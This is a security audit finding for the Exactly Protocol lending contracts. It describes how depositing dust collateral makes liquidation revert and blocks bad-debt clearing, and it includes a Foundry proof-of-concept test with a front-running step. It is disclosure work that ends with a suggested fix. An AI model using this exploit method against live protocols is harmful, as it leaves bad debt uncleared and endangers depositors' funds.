Agreeable Lemonade Ostrich

medium

# Bad Debt Can Be Prevented from being Cleared Leading to Protocol Insolvency

## Summary

- a malicious user to prevent the clearing of bad debt within the Exactly Protocol. This can be achieved by maintaining a minimal amount of collateral in a market, exploiting rounding down in smart contract functions, and effectively rendering the debt unliquidatable and unclearable.

## Vulnerability Detail

The vulnerability arises from two functions in the `Auditor` contract:

1. **`checkLiquidation` Function**:
   - The function calculates the amount that can be repaid (`maxRepayAssets`). If the collateral is a very small amount (dust), the division operation results in zero.

```js
   // Auditor.sol
   function checkLiquidation(...) external view returns (uint256 maxRepayAssets) {
   //...
   maxRepayAssets = Math.min(
       baseAmount.mulDivUp(10 ** markets[seizeMarket].decimals, priceCollateral).mulWadUp(
           1e18 + memIncentive.liquidator + memIncentive.lenders
       ),
       //....
   );
   //...
  }
```

- notice that the `maxRepayAssets` is the `baseAmount` is the value of collateral of the borrower being liquidated ( `seizeAvailable`) .
- The `liquidate` function in the `Market` contract will revert if `maxAssets` is zero due to the `ZeroRepay` check, preventing the liquidation from occurring.

```js
//Market
 if (maxRepayAssets == 0) revert ZeroRepay();
```

- even if  `maxRepayAssets` doesn't round to zero and not revert, the tx will revert in the next step when attempt to seize assets :

  ```js
  // Market
  >> (uint256 lendersAssets, uint256 seizeAssets) = auditor.calculateSeize(this, seizeMarket, borrower, repaidAssets);
  // Auditor : this will round to zero with small amounts :
   >>  seizeAssets = Math.min(baseAmount.mulDivUp(10 ** markets[seizeMarket].decimals, priceCollateral).mulWadUp(
      1e18 + memIncentive.liquidator + memIncentive.lenders
    ),

    seizeMarket.maxWithdraw(borrower)
  );

   // Market :
   >>  if (assets == 0) revert ZeroWithdraw();

  ```

- so liquidation is not possible for dust amounts .

2. **`handleBadDebt` Function**:
   - The function is designed to clear bad debt by checking if the account has any collateral. If the collateral is minimal, the multiplication by the price and adjust factor may not round to zero(specially for tokens with less decimals then 1e18). This results in the function returning early without clearing the bad debt.
   ```js
   if (assets.mulDivDown(assetPrice(m.priceFeed), 10 ** m.decimals).mulWadDown(m.adjustFactor) > 0) return;
   ```
   - A malicious user can deposit a tiny amount of collateral to prevent the bad debt from being cleared, as the check for collateral will pass, and the function will not proceed to clear the debt.

- This vulnerability can be exploited by a malicious user who can deposit a small amount of collateral to an undercollateralized borrower since anyone can deposit any amount to anyone, preventing liquidation and bad debt clearance, and potentially causing insolvency within the protocol as the `earningsAccumulator` continues to distribute assets based on incorrect total asset values.
- Malicious user can be a depositor who do that  motivated by potential gains from the `earningsAccumulator` to be distributed to depositors instead for clearing bad debts.

### POC :

- add this test to see how clearning bad debts can be prevented ,
  > `NOTE` : in this case we have only two markets , so a liquidator can liquidate the whole amount at once by setting `maxAssets = type(uint).max`,in real the malicious user can always front-run this tx , to deposit dust for that borrower in diffrent market.

```js
   function set_condition() internal {
    vm.prank(ALICE);
   marketWETH.approve(address(this), type(uint256).max);

   market.deposit(1.15 ether, address(this));
   auditor.enterMarket(market);
   marketWETH.deposit(50_000 ether, ALICE);
   marketWETH.setPenaltyRate(2e11);
   daiPriceFeed.setPrice(5000e18);
   auditor.setLiquidationIncentive(Auditor.LiquidationIncentive(0.1e18, 0));

   // distribute earnings to accumulator
   marketWETH.setBackupFeeRate(1e18);
   irm = MockInterestRateModel(address(new MockBorrowRate(1e18)));
   marketWETH.setInterestRateModel(InterestRateModel(address(irm)));
   marketWETH.borrowAtMaturity(FixedLib.INTERVAL, 15_000 ether, 30_000 ether, ALICE, ALICE);
   marketWETH.depositAtMaturity(FixedLib.INTERVAL, 15_000 ether, 15_000 ether, ALICE);

   irm.setRate(0);
   for (uint256 i = 1; i <= 3; i++) {
     marketWETH.borrowAtMaturity(FixedLib.INTERVAL, 1000 ether, 1000 ether, address(this), address(this));
   }
   daiPriceFeed.setPrice(99e18);

   vm.warp(FixedLib.INTERVAL * 3 + 182 days + 123 minutes + 10 seconds);

   weth.mint(BOB, 1_000_000 ether);
   vm.prank(BOB);
   marketWETH.liquidate(address(this), 103_499_999_999_999_999_800, market);
   assertEq(market.maxWithdraw(address(this)), 1);
 }
 function test_dosClearingDebt() external {
   set_condition();
   // no we have this contract have badDebt and only 1 collateral :
   // now we can't liquidate this user :
   daiPriceFeed.setPrice(5e18);
   vm.expectRevert(ZeroWithdraw.selector);
   vm.prank(BOB);
   marketWETH.liquidate(address(this), type(uint256).max, market);

   // try clearing debt of this contract :
   auditor.handleBadDebt(address(this));
   // @note : here if we see the bad debt is still :
   (uint256 collateral1, uint256 debt1) =
     auditor.accountLiquidity(address(this), Market(address(0)), 0);
         assertEq(debt1, 16_932_060_000_000_000_000_225);
   assertEq(collateral1, 4);
   // @note :that even if the price decrease more to 0.1e18 per day , so now we should be able to clear badDebt cause when we multiply
   // by adjusted factor this will round to zero ,a malicious user can always deposit a slight amount as collateral to round to zero :

   //1. first notice that the debt here should be cleared :
   daiPriceFeed.setPrice(1e18);
   uint256 stateBefore = vm.snapshot();

   auditor.handleBadDebt(address(this));
   // @note : here if we see the bad debt is still :
   (uint256 collateral2, uint256 debt2) = auditor.accountLiquidity(address(this), Market(address(0)), 0);
   assertEq(debt2, 0);
   assertEq(collateral2, 0);
   // let's front run it :
   vm.revertTo(stateBefore);
   front_run();
   // no again bob not able to liquidate this borrower (even without an incentive cause the gas cost will always be more then the seize amount) :
   vm.expectRevert(ZeroWithdraw.selector);
   vm.prank(BOB);
   marketWETH.liquidate(address(this), type(uint256).max, market);
   // also we can't handle bad debt because the user still have collateral :
   auditor.handleBadDebt(address(this));
   // @note : here if we see the bad debt is still :
   (uint256 collateral3, uint256 debt3) = auditor.accountLiquidity(address(this), Market(address(0)), 0);
   assertEq(debt3, 16_932_060_000_000_000_000_225);
   assertEq(collateral3, 4);
 }

 function front_run() internal {
   //deposit a tiny amount :
   market.deposit(4, address(this));
 }

```

## Impact
- If bad debt is not cleared, the protocol will distribute non-existent assets which lead to Insolvency issue .
-  Dust collateral leads to zero maxRepayAssets, causing liquidation transactions to revert and allowing undercollateralized positions to persist.
- this also could trigger a cascade of withdrawals as users seek to redeem their deposits before the pool's assets are depleted.

## Code Snippet
- https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/Market.sol#L545
- https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/Auditor.sol#L195
- https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/Auditor.sol#L273
## Tool used

Manual Review

## Recommendation
 - Introduce a minimum collateral threshold for each market based on the underlying asset to prevent dust collateral. Modify liquidation logic to disallow leaving behind collateral below this minimum, ensuring all debts are liquidatable and clearable.
